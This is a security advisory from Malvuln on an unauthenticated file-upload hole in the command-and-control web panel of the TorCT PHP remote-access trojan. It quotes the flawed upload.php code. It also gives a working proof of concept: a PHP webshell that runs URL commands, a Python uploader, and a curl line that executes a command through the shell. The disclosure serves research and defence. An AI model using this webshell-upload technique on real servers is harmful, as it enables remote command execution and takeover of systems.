Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/838f67d7a4b6824ec59892057aab3bb7_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: BuilderTorCTPHPRAT.b Vulnerability: Arbitrary File Upload - RCE Family: TorCTPHPRAT Type: WebUI MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe) MD5: b54822058a3ed33c673d06113b453ebe (upload.php) Vuln ID: MVID-2022-0519 Disclosure: 03/17/2022 Description: The TorCT client malwares web-panel allows unauthenticated uploads and does not check the expected file type E.g. ".png". Third-party attackers who can reach the server can upload their own backdoor PHP webshell and execute any commands on the malwares C2 server. "upload.php" vulnerable code: $DelOrNot = $_GET['D']; if ($DelOrNot == "true") { unlink('Upload/1.png'); unlink('Upload/2.png'); }else{ $uploadDir = 'Upload/'; $uploadFile = $uploadDir . basename($_FILES['file']['name']); if (is_uploaded_file($_FILES['file']['tmp_name'])) { echo "File ". $_FILES['file']['name'] ." is successfully uploaded!\r\n"; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) { echo "File is successfully stored! "; } else print_r($_FILES); } else { echo "Upload Failed!"; print_r($_FILES); } } Exploit/PoC: 1) Create PHP webshell "pwn.php", exec($_GET['cmd']); 2) Create Python uploader "torct_webshell.py" import requests url="http://TORCT_PHP_RAT_SERVER/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload.php" files = {'file': open('pwn.php', 'rb')} r = requests.post(url, files=files) if r.status_code==200: print(r.status_code) print("TorCTPHPRAT PWNED!") 3) Exploit curl "http://127.0.0.1/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload/pwn.php?cmd=calc.exe" Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).